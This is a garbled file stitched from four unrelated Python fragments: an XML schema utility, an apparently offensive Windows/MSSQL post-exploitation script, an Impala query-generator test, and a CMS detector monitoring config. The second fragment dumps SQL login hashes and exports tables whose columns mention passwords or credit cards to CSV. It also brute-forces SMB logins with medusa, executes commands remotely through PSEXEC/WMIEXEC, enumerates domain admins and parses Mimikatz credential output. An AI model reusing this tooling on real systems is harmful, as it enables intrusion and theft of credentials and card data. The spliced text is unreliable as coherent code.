/schema/lib_scimeta/src/d1_scimeta/schema/isotc211/ """ try: return os.path.join(SCHEMA_ROOT_PATH, FORMAT_ID_TO_SCHEMA_DICT[format_id], "") except KeyError: raise SciMetaError( "Validation not supported for formatId: {}".format(format_id) ) def gen_xsd_name_dict(branch_path, xsd_path_list): """Generate a dict of XSD name to abs path to the XSD file. The key is the part of the XSD path that follows under `branch_path`. E.g.: path = /schema/isotc211/gmd/applicationSchema.xsd -> key = /gmd/applicationSchema.xsd val = /schema/isotc211/gmd/applicationSchema.xsd """ xsd_name_dict = {} for xsd_path in xsd_path_list: rel_xsd_path = gen_rel_xsd_path(branch_path, xsd_path) xsd_name_dict[rel_xsd_path] = xsd_path return xsd_name_dict def gen_rel_xsd_path(branch_path, xsd_path): """Generate the relative part of the XSD path that follows under `branch_path`. Args: branch_path: str Absolute path to a branch holding all the XSD files for a single formatId. xsd_path: str Absolute path to an XSD file under the ``branch_path``. Returns: path: str E.g.: branc_path = /schema/isotc211/ xsd_path = /schema/isotc211/gmd/applicationSchema.xsd -> gmd/applicationSchema.xsd """ assert xsd_path.startswith(branch_path) return xsd_path[len(branch_path) :] def get_rel_path(parent_xsd_path, child_xsd_path): """Generate a relative path suitable for use as a `schemaLocation` URI. Args: parent_xsd_path: str Abs path to XSD file that has the `schemaLocation`. child_xsd_path: str Abs path to XSD file that the `schemaLocation` should be rewritten to. Returns: str: Relative path E.g.: parent = /schema/isotc211/gmd/maintenance.xsd child = /schema/isotc211/gmd/citation.xsd -> ../gmd/citation.xsd """ return os.path.relpath(child_xsd_path, os.path.split(parent_xsd_path)[0]) def gen_abs_uri(abs_url_or_path, rel_path): """Create an absolute URL or local filesystem path given at least one absolute component. Args: abs_url_or_path: str URL or absolute filesystem path rel_path: URL or relative filesystem path Returns: Absolute URL or filesystem path. """ # If rel is a complete URL, return it directly if is_url(rel_path): return rel_path # If rel is an absolute file path, return it directly elif os.path.isabs(rel_path): return rel_path # If abs is a URL, join using urljoin elif is_url(abs_url_or_path): return urllib.parse.urljoin(abs_url_or_path, rel_path) elif not os.path.isabs(abs_url_or_path): raise AssertionError( "Attempted to create an absolute path from two relative paths" ) # Join and normalize abs and rel path else: return os.path.normpath( os.path.join(os.path.split(abs_url_or_path)[0], rel_path) ) def get_xsd_path(xsd_name_dict, uri): """Get abs path to the XSD that has a key that matches the end of the URI. Works for file paths, URLs and URIs. E.g.: http://www.w3.org/2001/xml.xsd -> xml.xsd xml.xsd -> schema/_cache/http_www.w3.org_2001__xml.xsd """ for rel_path, abs_path in xsd_name_dict.items(): if uri.endswith(rel_path): return abs_path raise SciMetaError("No matching XSD for key: {}".format(uri)) # # Parse, serialize, load, save # def load_xml_file_to_tree(xml_path): return parse_xml_bytes(load_bytes_from_file(xml_path), xml_path) def parse_xml_bytes(xml_bytes, xml_path=None): """Parse XML bytes to tree. Passing in the path to the file enables relative imports to work. """ xml_parser = lxml.etree.XMLParser(no_network=True) try: return lxml.etree.parse( io.BytesIO(xml_bytes), parser=xml_parser, base_url=xml_path ) except lxml.etree.LxmlError as e: raise SciMetaError( "Invalid XML (not well formed). {}".format( str(e), get_error_log_as_str(xml_parser) ) ) def get_error_log_as_str(lxml_obj): """Create a basic message with results from the last XMLParser() or lxml.etree.XMLSchema() run. lxml.etree.XMLParser(), lxml.etree.XMLSchema() and some exception objects, such as lxml.etree.XMLSchemaParseError() have an error_log attribute which contains a list of errors and warnings from the most recent run. Each error element in the list has attributes: message: the message text domain: the domain ID (see the lxml.etree.ErrorDomains class) type: the message type ID (see the lxml.etree.ErrorTypes class) level: the log level ID (see the lxml.etree.ErrorLevels class) line: the line at which the message originated (if applicable) column: the character column at which the message originated (if applicable) filename: the name of the file in which the message originated (if applicable) For convenience, there are also three properties that provide readable names for the ID values: domain_name type_name level_name Args: lxml_obj: lxml.etree.XMLParser() or lxml.etree.XMLSchema() Returns: str: Selected elements from the error_log of the lxml_obj. """ if not lxml_obj.error_log: return "Errors and warnings: None" else: return "Errors and warnings:\n{}".format( "\n".join( tuple( " {}: Line {}: {}".format(e.filename, e.line, e.message) for e in lxml_obj.error_log ) ) ) def load_bytes_from_file(xml_path): try: with open(xml_path, "rb") as f: return f.read() except OSError as e: raise SciMetaError("Could not load file. Error: {}".format(str(e))) def save_tree_to_file(xml_tree, xml_path): """Write pretty formatted XML tree to file.""" with open(xml_path, "wb") as f: f.write(pretty_format_tree(xml_tree)) def save_bytes_to_file(xml_path, xml_bytes): """Write bytes to file.""" with open(xml_path, "wb") as f: f.write(xml_bytes) def dump_pretty_tree(xml_tree, msg_str="XML Tree", logger=log.debug): logger("{}: ".format(msg_str)) tree_str = pretty_format_tree(xml_tree) if not tree_str: logger(" <tree is empty>") else: for i, tree_line in enumerate(tree_str.decode("utf-8").splitlines()): logger("{:>4} {}".format(i + 1, tree_line)) def dump(o, msg_str="Object dump"): line_int = inspect.currentframe().f_back.f_lineno list( map( logging.debug, ( "{} LINE {} {}".format("#" * 40, line_int, "#" * 40), "{}:".format(msg_str), ), ) ) list(map(logging.debug, [s for s in pprint.pformat(o).splitlines()])) def pretty_format_tree(xml_tree): return lxml.etree.tostring( xml_tree, pretty_print=True, xml_declaration=True, encoding="utf-8" ) def is_valid_xml_file(xml_path): try: load_xml_file_to_tree(xml_path) except SciMetaError as e: log.debug("Not a valid XSD file: {}: {}".format(xml_path, str(e))) return False def is_valid_xsd_file(xsd_path): try: xml_tree = load_xml_file_to_tree(xsd_path) root_ns = get_root_ns(xml_tree) if root_ns != XML_SCHEMA_NS: raise SciMetaError( "Expected ns: {}. Actual ns: {}".format(XML_SCHEMA_NS, root_ns) ) except SciMetaError as e: log.debug("Not a valid XSD file: {}: {}".format(xsd_path, str(e))) return False else: return True def is_url(s): """Return True if `s` is a URL.""" return bool(urllib.parse.urlparse(s).scheme) # # XSLT # def strip_whitespace(xml_tree): """Strip whitespace that
% unpack('<L', valueData)[0] elif valueType == rrp.REG_QWORD: print '0x%x' % unpack('<Q', valueData)[0] elif valueType == rrp.REG_NONE: try: if len(valueData) > 1: print '' hexdump(valueData, '\t') else: print ' NULL' except: print ' NULL' elif valueType == rrp.REG_MULTI_SZ: print '%s' % valueData.decode('utf-16le')[:-2] else: print 'Unkown Type 0x%x!' % valueType hexdump(valueData) except Exception, e: logging.debug('Exception thrown when printing reg value %s' , str(e)) print 'Invalid data' pass #MSSQL Test def getNetBiosName(ip): n = NetBIOS(broadcast=True, listen_port=0) netbiosName='' try: netbiosName=n.queryIPForName(ip)[0] except Exception as e: pass return netbiosName def listDatabases(db,conn): sql_query='USE master; SELECT NAME FROM sysdatabases;' results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) dbList=[] defaultDBList=[] defaultDBList.append('master') defaultDBList.append('tempdb') defaultDBList.append('model') defaultDBList.append('msdb') for x in results: for k, v in x.iteritems(): if v not in defaultDBList: dbList.append(v) return dbList def listTables(db,conn,dbName): sql_query='SELECT * FROM '+dbName+'.INFORMATION_SCHEMA.TABLES;' results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) tableList=[] for x in results: if x.values()[3]=='BASE TABLE': tableList.append([x.values()[0],x.values()[2]]) return tableList #print tabulate(tableList) def listColumns(db,conn,dbName,tableName): sql_query='use '+dbName+';exec sp_columns '+tableName+';' results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) columnList=[] for x in results: columnName=x.values()[-1] columnList.append([dbName,tableName,columnName]) return columnList #print tabulate(results) def sampleData(db,conn,dbName,tableName): sql_query='use '+dbName+';select * from '+tableName+';' #sql_query='use '+dbName+';select TOP(10) * from '+tableName+';' try: results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) return results #print tabulate(results) except Exception as e: print e #print tabulate(results) def dumpSQLHashes(db,conn,pre2008=True): #sql_query='USE master; select @@version' resultList=[] if pre2008==False: sql_query='SELECT name,password_hash FROM sys.sql_logins;' print sql_query results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) for x in results: print x.values() resultList.append(x.values) else: sql_query='SELECT password from master.dbo.sysxlogins;' print sql_query results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) for x in results: print x.values() resultList.append(x.values) return resultList def getSQLVersion(db,conn): sql_query='USE master; select @@version' print sql_query results= conn.RunSQLQuery(db,sql_query,tuplemode=False,wait=True) return results[0].values() def testMSSQL(host,port,user,password,password_hash=None,domain=None,domainCred=True): searchList=[] searchList.append('passw') searchList.append('credit') searchList.append('card') fp = tds.MSSQL(host, int(port)) fp.connect() foundList=[] try: r = fp.login(None, user, password, domain, password_hash, domainCred) key = fp.replies[TDS_LOGINACK_TOKEN][0] dbVer=getSQLVersion(db,fp) print dbVer if "2008" in dbVer or "2012" in dbVer: print dumpSQLHashes(db,fp,True) else: print dumpSQLHashes(db,fp,False) #listDatabases(db,fp) dbName='mmsdata1' tableList=listTables(db,fp,dbName) for x in tableList: tableName=x[1] results = (listColumns(db,fp,dbName,tableName)) for y in results: columnName = y[2] for word in searchList: if word in columnName.lower(): if [y[0],y[1]] not in foundList: foundList.append([y[0],y[1]]) except Exception as e: print e fp.disconnect() fp = tds.MSSQL(host, int(port)) fp.connect() r = fp.login(None, user, password, domain, password_hash, domainCred) key = fp.replies[TDS_LOGINACK_TOKEN][0] for x in foundList: dbName=str(x[0]) tableName=str(x[1]) columnList=[] results=(listColumns(db,fp,dbName,tableName)) for y in results: columnList.append(y[2]) results=sampleData(db,fp,dbName,tableName) try: if len(results)>0: with open(dbName+"_"+tableName+".csv", "wb+") as f: writer = csv.writer(f) writer.writerow(columnList) for y in results: writer.writerow(y.values()) except Exception as e: continue #MSSQL Test def testAdminAccess(tmphostno, tmpdomain, tmpusername, tmppassword, tmppasswordHash): ''' resultList=results.split("\n") try: conn = SMBConnection1(username,password,client_machine_name,hostNo,domain=domain,use_ntlm_v2=True,is_direct_tcp=True) connected = conn.connect(hostNo, 445) shares = conn.listShares() shareName="C$" sharedfiles = conn.listPath(shareName, '/') if len(sharedfiles)>0: return True else: return False except Exception as e: return False ''' command="ipconfig.exe" results=runPSEXEC(tmphostno, tmpdomain, tmpusername, tmppassword, tmppasswordHash, command) if len(results)>0 and type(results)!=None: return True else: return False def testDomainCredentials(username,password,passwordHash,ip,domain): foundAdmin=False if [str(ip),str(domain).lower(),str(username),str(password)] in attemptedCredList: print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [FAILED]" return False,foundAdmin else: if password!=None: attemptedCredList.append([str(ip),str(domain).lower(),str(username),str(password)]) else: attemptedCredList.append([str(ip),str(domain).lower(),str(username),str(passwordHash)]) if passwordHash!=None: password=None if testAdminAccess(ip, domain, username, password, passwordHash)==True: foundAdmin=True if domain=='': domain="WORKGROUP" print (setColor("[+]", bold, color="green"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+passwordHash+" [OK][ADMIN]" return True,foundAdmin else: if len(domain.strip())<1: domain="WORKGROUP" print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+passwordHash+" [FAILED]" return False,foundAdmin else: try: command="medusa -M smbnt -u "+domain+"\\\\"+username+" -p '"+password+"' -h "+ip resultList = runCommand(command, shell = True, timeout = 30) if "SUCCESS" in str(resultList): if testAdminAccess(ip, domain, username, password, passwordHash)==True: print (setColor("[+]", bold, color="green"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [OK][ADMIN]" foundAdmin=True tmpfound=False for x in accessAdmHostList: tmpip=x[0] if tmpip==ip: tmpfound=True if tmpfound==False: if len(domain)<1: domain="WORKGROUP" if [ip, domain, username, password] not in accessAdmHostList: accessAdmHostList.append([ip, domain, username, password]) ''' tmphash=None tmpPasswordList=runMimikatz(ip,domain,username,password,tmphash) for z in tmpPasswordList: if z not in userPassList: userPassList.append(z) print (setColor("\n[+]", bold, color="green"))+" Dumping Hashes from Host: "+ip tmpHashList=dumpDCHashes(ip,domain,username,password) if len(tmpHashList)>0: addHashes(tmpHashList) if ip in uncompromisedHostList: uncompromisedHostList.remove(ip) analyzeHashes(tmpHashList) if ip in uncompromisedHostList: uncompromisedHostList.remove(ip) ''' else: print (setColor("[+]", bold, color="green"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [OK]" if [ip, domain, username, password] not in accessOKHostList: accessOKHostList.append([ip, domain, username, password]) return True,foundAdmin else: print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [FAILED]" return False,foundAdmin except Exception as e: print (setColor("[-]", bold, color="red"))+" "+ip+":445 "+getNetBiosName(ip)+" | "+domain+"\\"+username+":"+password+" [FAILED]" return False,foundAdmin def testDomainCredentials1(username,password,hostNo): ansi_escape = re.compile(r'\x1b[^m]*m') password = <PASSWORD>('', password) cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'enumdomgroups'" resultList = runCommand(cmd, shell = True, timeout = 30) if "group:" in str(resultList): return True else: return False def getDomainAdminUsers(username,password,hostNo): results=False userList1=[] cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'enumdomusers'" resultList = runCommand(cmd, shell = True, timeout = 15) list1 = resultList[1].split("\n") for x in list1: try: domainUser = (x.split("] rid:[")[0]).replace("user:[","") userRID = (x.split("] rid:[")[1])[0:len(x.split("] rid:[")[1])-1] userList1.append([domainUser,userRID]) except IndexError: continue cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'enumdomgroups' | grep -i 'Domain Admin' | awk -F'rid:' '{print $2}' | sed 's:^.\(.*\).$:\\1:'" resultList = runCommand(cmd, shell = True, timeout = 15) groupID = (resultList[1]).strip() cmd = "rpcclient -U "+username+"%'"+password+"' "+hostNo+" -c 'querygroupmem "+groupID+"' | awk -F']' '{print $1}' | awk -F'[' '{print $2}'" unFoundList=[] resultList = runCommand(cmd, shell = True, timeout = 15) list1 = resultList[1].split("\n") for x in list1: found=False for y in userList1: if x==y[1]: found=True domainAdminList.append(y[0].lower()) if found==False and len(x)>0: unFoundList.append(x) for x in unFoundList: cmd = "/opt/local/bin/rpcclient -U "+username+"%"+password+" "+ip+" -c 'querygroupmem "+x+"' | awk -F']' '{print $1}' | awk -F'[' '{print $2}'" resultList = runCommand(cmd, shell = True, timeout = 15) list1 = resultList[1].split("\n") for x in list1: for y in userList1: if x==y[1]: if y[0].lower() not in domainAdminList: domainAdminList.append(y[0].lower()) if len(domainAdminList)>0: print (setColor("\nEnumerating Users in Domain", bold, color="green")) for x in domainAdminList: print x print "\n" if len(domainAdminList)>0: if username.lower() in domainAdminList: print "[+] Is '"+username+"' in the Domain Admin group?: "+(setColor("Yes", bold, color="red")) results=True else: print "[+] Is '"+username+"' in the Domain Admin group?: "+(setColor("No", bold, color="red")) #for x in userList1: # print x[0] return results def runPSEXEC(targetIP,domain,username,password,passwordHash,command): resultsOutput='' try: executer = PSEXEC(command,None,None,None,int(445),username,password,domain,passwordHash,None,False,None) executer.run(targetIP,targetIP) resultsOutput=executer.getOutput() executer.clearOutput() return resultsOutput except Exception as e: pass #print e def runWMIEXEC(targetIP,domain,username,password,passwordHash,command): resultsOutput='' #hashes = passwordHash #passwordHash=None #hashes = None aesKey = None share = 'ADMIN$' nooutput = False k = False dc_ip = None executer = WMIEXEC(command,username,password,domain,passwordHash,aesKey,share,nooutput,k,dc_ip) executer.run(targetIP) resultsOutput=executer.getOutput() return resultsOutput def setDemo(): cmd ='date +%Y%m%d -s "20120418"' runCommand1(cmd) def checkCurrentTime(): currentTime=runCommand1("date") return currentTime def checkRemoteTime(targetIP): remoteTime=runCommand1("net time -S "+targetIP) return remoteTime def get_process_children(pid): p = Popen('ps --no-headers -o pid --ppid %d' % pid, shell = True, stdout = PIPE, stderr = PIPE) stdout, stderr = p.communicate() return [int(p) for p in stdout.split()] def runCommand(args, cwd = None, shell = False, kill_tree = True, timeout = -1, env = None): class Alarm(Exception): pass def alarm_handler(signum, frame): raise Alarm p = Popen(args, shell = shell, cwd = cwd, stdout = PIPE, stderr = PIPE, env = env) if timeout != -1: signal(SIGALRM, alarm_handler) alarm(timeout) try: stdout, stderr = p.communicate() if timeout != -1: alarm(0) except Alarm: pids = [p.pid] if kill_tree: pids.extend(get_process_children(p.pid)) for pid in pids: # process might have died before getting to this line # so wrap to avoid OSError: no such process try: kill(pid, SIGKILL) except OSError: pass return -9, '', '' return p.returncode, stdout, stderr def runCommand1(fullCmd): try: return commands.getoutput(fullCmd) except Exception as e: print e return "Error executing command %s" %(fullCmd) def setColor(message, bold=False, color=None, onColor=None): retVal = colored(message, color=color, on_color=onColor, attrs=("bold",)) return retVal def convertWinToLinux(filename): tmpFilename="/tmp/"+generateRandomStr()+".txt" sourceEncoding = "utf-16" targetEncoding = "utf-8" source = open(filename) target = open(tmpFilename, "w") target.write(unicode(source.read(), sourceEncoding).encode(targetEncoding)) return tmpFilename def parseMimikatzOutput(list1): tmpPasswordList=[] username1="" domain1="" password1="" lmHash="" ntHash="" list2=list1.split("\n") for x in list2: if "Username :" in x or "Domain :" in x or "Password :" in x or "LM :" in x or "NTLM :" in x: if "* Username :" in x: username1=(x.replace("* Username :","")).strip() if "* Domain :" in x: domain1=(x.replace("* Domain :","")).strip() if "* LM :" in x: lmHash=(x.replace("* LM :","")).strip() if "* NTLM :" in x: ntHash=(x.replace("* NTLM :","")).strip() if len(lmHash)<1: lmHash='aad3b435b51404eeaad3b435b51404ee' password1=lmHash+":"+ntHash if "* Password :" in x: password1=x.replace("* Password :","") domain1=domain1.strip() username1=username1.strip() password1=<PASSWORD>.<PASSWORD>() if len(username1)>1 and len(domain1)>1 and len(password1)>1: #if (domain1!="(null)" or username1!="(null)" or password1!="(null)"): if domain1!="(null)": if not username1.endswith("$") and len(password1)<50: if "\\" in username1: domain1=username1.split("\\")[0]
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. from collections import defaultdict from copy import deepcopy from itertools import ifilter from logging import getLogger from random import shuffle, choice, randint, randrange from tests.comparison.common import TableExprList, ValExpr, ValExprList, Table, Column from tests.comparison.query_profile import DefaultProfile from tests.comparison.funcs import ( AGG_FUNCS, AggFunc, ANALYTIC_FUNCS, AnalyticFunc, And, Coalesce, Equals, Func, FUNCS, PartitionByClause, WindowBoundary, WindowClause) from tests.comparison.db_types import ( Boolean, Int, Float, TYPES) from tests.comparison.query import ( FromClause, GroupByClause, HavingClause, InlineView, JoinClause, LimitClause, OrderByClause, Query, SelectClause, SelectItem, Subquery, UnionClause, WhereClause, WithClause, WithClauseInlineView) UNBOUNDED_PRECEDING = WindowBoundary.UNBOUNDED_PRECEDING PRECEDING = WindowBoundary.PRECEDING CURRENT_ROW = WindowBoundary.CURRENT_ROW FOLLOWING = WindowBoundary.FOLLOWING UNBOUNDED_FOLLOWING = WindowBoundary.UNBOUNDED_FOLLOWING LOG = getLogger(__name__) class QueryGenerator(object): def __init__(self, query_profile): self.profile = query_profile self.queries_under_construction = list() self.max_nested_query_count = None self.cur_id = 0 def get_next_id(self): self.cur_id += 1 return 'a' + str(self.cur_id) @property def current_query(self): if self.queries_under_construction: return self.queries_under_construction[-1] @property def root_query(self): if self.queries_under_construction: return self.queries_under_construction[0] def clear_state(self): # This function clears the state from the previous query. self.cur_id = 0 self.profile.query = None self.max_nested_query_count = None def generate_statement(self, table_exprs, allow_with_clause=True, allow_union_clause=True, select_item_data_types=None, required_select_item_type=None, required_table_expr_col_type=None, require_aggregate=None, dml_table=None, table_alias_prefix='t'): '''Create a random query using various language features. The initial call to this method should only use tables in the table_exprs parameter, and not inline views or WITH definitions. The other types of table exprs may be added as part of the query generation. Due to implementation limitations, nested queries are not distributed evenly by default even if the query profile assigns an equal likelihood of use to each possible nested query decision. This is because the implementation chooses nested queries in a fixed order (WITH -> FROM -> WHERE). For example if only one nested query were allowed and each clause had a 50% chance of using a subquery, the resulting set of generated queries would contain a subquery in the WITH clause 50% of the time, in the FROM 25% of the time, and WHERE 12.5% of the time. If the max nested queries were two, it's most likely that the generated query would contain a WITH clause which has the second nested query within it.... If select_item_data_types is specified it must be a sequence or iterable of DataType. The generated query.select_clause.select will have data types suitable for use in a UNION. required_select_item_type may be set to a DataType to force at least one of the SELECT items to be of the given type. This can be used to ensure that inline views will have at least one joinable column. required_table_expr_col_type may be set to ensure that at least one of the TableExprs used in the FROM clause will have a column of the given type. This can be used to unsure that a correlation condition can be made for a Subquery. require_aggregate can be set to True or False to force or disable the creation of an aggregate query. This is used during Subquery creation where the context may require an aggregate or non-aggregate. dml_table exists for kwargs compatibility with other statement generators but is ignored ''' if not table_exprs: raise Exception("At least one TableExpr is needed") query = Query() query.parent = self.current_query self.queries_under_construction.append(query) self.profile.query = query # Make a copy so tables can be added if a WITH clause is used table_exprs = TableExprList(table_exprs) if self.max_nested_query_count is None: self.max_nested_query_count = self.profile.get_max_nested_query_count() elif self.max_nested_query_count == 0: raise Exception('Maximum nested query count exceeded') else: self.max_nested_query_count -= 1 with_clause = None if allow_with_clause \ and self.allow_more_nested_queries \ and self.profile.use_with_clause(): with_clause = self._create_with_clause(table_exprs) table_exprs.extend(with_clause.table_exprs) query.with_clause = with_clause from_clause = self._create_from_clause( table_exprs, table_alias_prefix, required_table_expr_col_type) query.from_clause = from_clause select_clause = self._create_select_clause( from_clause.visible_table_exprs, select_item_data_types, required_select_item_type, require_aggregate) query.select_clause = select_clause if self.profile.use_where_clause(): query.where_clause = self._create_where_clause( from_clause.visible_table_exprs, table_alias_prefix) # If agg and non-agg SELECT items are present then a GROUP BY is required otherwise # it's optional and is effectively a "SELECT DISTINCT". if (select_clause.agg_items and select_clause.basic_items) \ or (require_aggregate is None \ and select_clause.basic_items \ and not select_clause.analytic_items \ and not select_clause.contains_approximate_types \ and self.profile.use_group_by_clause()): group_by_items = [deepcopy(item) for item in select_clause.basic_items if not item.val_expr.is_constant] # TODO: What if there are select_clause.analytic_items? if group_by_items: query.group_by_clause = GroupByClause(group_by_items) # Impala doesn't support DISTINCT with analytics or "SELECT DISTINCT" when # GROUP BY is used. if not select_clause.analytic_items \ and not query.group_by_clause \ and not select_clause.contains_approximate_types \ and self.profile.use_distinct(): if select_clause.agg_items: self._enable_distinct_on_random_agg_items(select_clause.agg_items) else: select_clause.distinct = True if self.profile.use_having_clause() \ and (query.group_by_clause or (self.profile.use_having_without_groupby() and select_clause.agg_items)): basic_select_item_exprs = \ ValExprList(item.val_expr for item in select_clause.basic_items) query.having_clause = self._create_having_clause( from_clause.visible_table_exprs, basic_select_item_exprs) if allow_union_clause \ and self.allow_more_nested_queries \ and self.profile.use_union_clause(): data_type_candidates_by_base_type = defaultdict(list) for data_type in TYPES: data_type_candidates_by_base_type[data_type.get_base_type()].append(data_type) select_item_data_types = list() for select_item in select_clause.items: select_item_data_types.append( choice(data_type_candidates_by_base_type[select_item.val_expr.base_type])) query.union_clause = UnionClause(self.generate_statement( table_exprs, allow_with_clause=False, select_item_data_types=select_item_data_types)) if select_clause.contains_approximate_types or any( q.select_clause.contains_approximate_types for q in query.union_clause.queries): query.union_clause.all = True else: query.union_clause.all = self.profile.use_union_all() self.queries_under_construction.pop() if self.queries_under_construction: self.profile.query = self.queries_under_construction[-1] else: self.clear_state() return query @property def allow_more_nested_queries(self): return self.max_nested_query_count > 0 def _create_with_clause(self, table_exprs): # Make a copy so newly created tables can be added and made available for use in # future table definitions. table_exprs = TableExprList(table_exprs) with_clause_inline_views = TableExprList() for with_clause_inline_view_idx \ in xrange(self.profile.get_with_clause_table_ref_count()): query = self.generate_statement(table_exprs, allow_with_clause=self.profile.use_nested_with()) with_clause_alias_count = getattr(self.root_query, 'with_clause_alias_count', 0) + 1 self.root_query.with_clause_alias_count = with_clause_alias_count with_clause_inline_view = \ WithClauseInlineView(query, 'with_%s' % with_clause_alias_count) table_exprs.append(with_clause_inline_view) with_clause_inline_views.append(with_clause_inline_view) if not self.allow_more_nested_queries: break return WithClause(with_clause_inline_views) def _create_select_clause(self, table_exprs, select_item_data_types, required_select_item_type, require_aggregate): if select_item_data_types: select_item_data_types = tuple(select_item_data_types) if select_item_data_types \ and required_select_item_type \ and not issubclass(required_select_item_type, select_item_data_types): raise Exception('Required select item type is not in allowed types') # Generate column types for the select clause if not specified. if not select_item_data_types: select_item_data_types = [] desired_item_count = self.profile.get_select_item_count() if required_select_item_type: select_item_data_types.append(required_select_item_type) while len(select_item_data_types) < desired_item_count: select_item_data_types.append(self.profile.choose_type(table_exprs.col_types)) shuffle(select_item_data_types) select_item_data_types = tuple(select_item_data_types) # We want to assign BASIC, AGG or ANALYTIC to each column. We want to prevent GROUP BY # float_col, because the groupings will differ across databases because floats are # approximate values. column_categories = ['-' for _ in select_item_data_types] if require_aggregate: column_categories[randint(0, len(column_categories) - 1)] = 'AGG' # Assign AGG and ANALYTIC some columns for i in range(len(column_categories)): item_category = self.profile._choose_from_weights( self.profile.weights('SELECT_ITEM_CATEGORY')) if item_category in ('AGG', 'ANALYTIC'): column_categories[i] = item_category agg_present = 'AGG' in column_categories # Assign BASIC to the remaining columns for i in range(len(column_categories)): if column_categories[i] == '-': if select_item_data_types[i].is_approximate() and agg_present: column_categories[i] = 'AGG' else: # If AGG column is present, BASIC can only be assigned to a column if it's not a # Float. column_categories[i] = 'BASIC' select_items = [] for i, column_category in enumerate(column_categories): if column_category == 'BASIC': select_items.append(self._create_basic_select_item( table_exprs, select_item_data_types[i])) else: select_items.append((column_category, select_item_data_types[i])) analytic_count = sum(1 for c in column_category if c == 'ANALYTIC') select_item_exprs = \ ValExprList(item.val_expr for item in select_items if type(item) == SelectItem) for idx, item in enumerate(select_items): if type(item) == tuple and item[0] == 'AGG': select_items[idx] = \ self._create_agg_select_item(table_exprs, select_item_exprs, item[1]) for item in select_items: if type(item) == tuple: continue if item.is_agg: select_item_exprs.append(item.val_expr) for idx, item in enumerate(select_items): if type(item) == tuple: select_items[idx] = self._create_analytic_select_item( table_exprs, select_item_exprs, len(select_item_exprs) == 0 and analytic_count == 1, item[1]) # So far all the SELECT items are defined and set but none of them have aliases. If # an item is a simple column reference, then it will only get an alias if there is a # conflict with another simple column ref. All other item types, such as functions # or constants, will always have
import FWCore.ParameterSet.Config as cms digiSamples_ = [1,2,3,4,5,6,7,8,9,10] uncalibOOTAmps_ = [4,6] ecalGpuTask = cms.untracked.PSet( params = cms.untracked.PSet( runGpuTask = cms.untracked.bool(False), gpuOnlyPlots = cms.untracked.bool(True), uncalibOOTAmps = cms.untracked.vint32(uncalibOOTAmps_) ), MEs = cms.untracked.PSet( # CPU Digi DigiCpu = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT digi nDigis cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(5000), title = cms.untracked.string('Digis per Event') ), description = cms.untracked.string('Number of CPU Digis per Event') ), DigiCpuAmplitude = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT digi amplitude sample %(sample)s cpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), multi = cms.untracked.PSet( sample = cms.untracked.vint32(digiSamples_) ), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(4096), title = cms.untracked.string('ADC Counts') ), description = cms.untracked.string('CPU digi amplitudes for individual digi samples (1-10)') ), # GPU Digi (optional) DigiGpu = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT digi nDigis gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(5000), title = cms.untracked.string('Digis per Event') ), description = cms.untracked.string('Number of GPU Digis per Event') ), DigiGpuAmplitude = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT digi amplitude sample %(sample)s gpu'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), multi = cms.untracked.PSet( sample = cms.untracked.vint32(digiSamples_) ), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(0), high = cms.untracked.double(4096), title = cms.untracked.string('ADC Counts') ), description = cms.untracked.string('GPU digi amplitudes for individual digi samples (1-10)') ), # Digi GPU-CPU Difference DigiGpuCpu = cms.untracked.PSet( path = cms.untracked.string('%(subdet)s/%(prefix)sGpuTask/%(prefix)sGT digi nDigis gpu-cpu diff'), kind = cms.untracked.string('TH1F'), otype = cms.untracked.string('Ecal2P'), btype = cms.untracked.string('User'), xaxis = cms.untracked.PSet( nbins = cms.untracked.int32(100), low = cms.untracked.double(-500), high = cms.untracked.double(500), title = cms.untracked.string('GPU-CPU Digis per Event') ), description = cms.untracked.string('GPU-CPU difference of number of Digis per Event') ), 